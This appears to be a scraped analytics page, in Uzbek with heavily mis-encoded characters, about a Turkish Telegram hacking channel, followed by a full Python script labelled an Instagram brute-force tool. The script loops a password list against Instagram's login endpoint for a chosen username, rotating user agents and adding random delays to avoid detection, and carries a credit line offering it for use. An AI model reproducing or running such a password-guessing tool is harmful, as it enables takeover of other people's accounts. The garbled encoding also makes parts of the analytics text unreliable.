πππΜπ ππππ
π Telegram kanali πππΜπ ππππ analitikasi
πππΜπ ππππ (@voidhack0) Turk til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 10 398 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 10 443-o'rinni va Turkiya mintaqasida 2 973-o'rinni egallagan.
π Auditoriya koβrsatkichlari va dinamika
Π½Π΅Π²ΡΠ΄ΠΎΠΌΠΎ sanasidan buyon loyiha tez oβsib, 10 398 obunachiga ega boβldi.
17 Yanvar, 2026 dagi oxirgi maβlumotlarga koβra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni -318 ga, soβnggi 24 soatda esa 0 ga oβzgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya oβrtacha 2.47% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 1.41% ini tashkil etuvchi reaksiyalarni toβplaydi.
- Post qamrovi: Har bir post oβrtacha 257 marta koβriladi; birinchi sutkada odatda 147 ta koβrish yigβiladi.
- Reaksiyalar va oβzaro taβsir: Auditoriya faol: har bir postga oβrtacha 2 ta reaksiya keladi.
- Tematik yoβnalishlar: Kontent paneliΜ, sorgu, Γ§ΓΆzΓΌm, kiΜΕi, Γ§alma kabi asosiy mavzularga jamlangan.
π Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida taβriflaydi:
βSQL Ve Web Δ°Εlemleriβ
Yuqori yangilanish chastotasi (oxirgi maβlumot 18 Mart, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli boβlib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim taβsir nuqtasiga aylantirishini koβrsatadi.
import requests
import time
import random
target_username ="KULANICI ADI"
password_list ="passwords.txt"
login_url ="https://www.instagram.com/accounts/login/ajax/"
user_agents = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15","Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1"
]
session = requests.Session()
session.headers = {"User-Agent": random.choice(user_agents)}
response = session.get("https://www.instagram.com/")
csrf_token = response.cookies["csrftoken"]
with open(password_list,"r", encoding="utf-8") as file:
passwords = file.read().splitlines()
print(f"{target_username} hesabΔ± iΓ§in brute force baΕlΔ±yor...")
for password in passwords:
session.headers.update({"X-CSRFToken": csrf_token})
data = {"username": target_username,"enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{int(time.time())}:{password}","queryParams": {},"optIntoOneTap":"false"
}
response = session.post(login_url, data=data, allow_redirects=False)
time.sleep(random.uniform(2, 5))
if"authenticated\": true" in response.text:
print(f"[BAΕARILI] Εifre bulundu: {password}")
break
elif"checkpoint_required" in response.text:
print(f"[DΔ°KKAT] Εifre doΔru olabilir ama doΔrulama gerekiyor: {password}")
break
else:
print(f"[BAΕARISIZ] Denenen Εifre: {password}")
print("Brute force tamamlandΔ±.")
Δ°NSTAGRAM BRUTE FORCE TOOL
KULANICI ADI GΔ°R
PASWORD LΔ°ST GΔ°R
YETER KENDΔ° DENETLEYΔ°P ATAR
Cr @SahalOrj | @SahalPython